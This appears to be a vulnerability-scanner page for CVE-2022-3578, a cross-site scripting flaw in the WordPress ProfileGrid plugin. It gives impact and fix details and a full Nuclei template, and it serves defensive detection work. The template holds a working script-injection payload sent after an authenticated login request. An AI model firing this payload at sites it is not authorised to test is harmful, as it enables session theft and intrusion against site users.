CVE-2022-3578· metagauss / profilegrid· CWE-79
WordPress ProfileGrid <5.1.1 - Cross-Site Scripting
WordPress ProfileGrid plugin prior to 5.1.1 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
Fix
Update WordPress ProfileGrid to version 5.1.1 or later to mitigate the XSS vulnerability.
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=pm_add_group&id="><script>alert%28document.domain%29<%2Fscript>
Positive when: contains(header_2, "text/html") and status_code_2 == 200 and contains(body_2, "Extension Options") and contains(body_2, "<script>alert(document.domain)</script>&tab")Run it with nuclei: nuclei -id CVE-2022-3578 -u <target>
The full check
id: CVE-2022-3578
info:
name: WordPress ProfileGrid <5.1.1 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
WordPress ProfileGrid plugin prior to 5.1.1 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
remediation: |
Update WordPress ProfileGrid to version 5.1.1 or later to mitigate the XSS vulnerability.
reference:
- https://wpscan.com/vulnerability/17596b0e-ff45-4d0c-8e57-a31101e30345
- https://wordpress.org/plugins/profilegrid-user-profiles-groups-and-communities/
- https://nvd.nist.gov/vuln/detail/CVE-2022-3578
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-3578
cwe-id: CWE-79
epss-score: 0.01038
epss-percentile: 0.64222
cpe: cpe:2.3:a:metagauss:profilegrid:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: metagauss
product: profilegrid
framework: wordpress
tags: cve,cve2022,wp-plugin,wordpress,wpscan,wp,xss,profilegrid,authenticated,metagauss,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=pm_add_group&id="><script>alert%28document.domain%29<%2Fscript> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(header_2, "text/html")'
- 'status_code_2 == 200'
- 'contains(body_2, "Extension Options")'
- 'contains(body_2, "<script>alert(document.domain)</script>&tab")'
condition: andReferences
- https://wpscan.com/vulnerability/17596b0e-ff45-4d0c-8e57-a31101e30345
- https://wordpress.org/plugins/profilegrid-user-profiles-groups-and-communities/
- https://nvd.nist.gov/vuln/detail/CVE-2022-3578
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from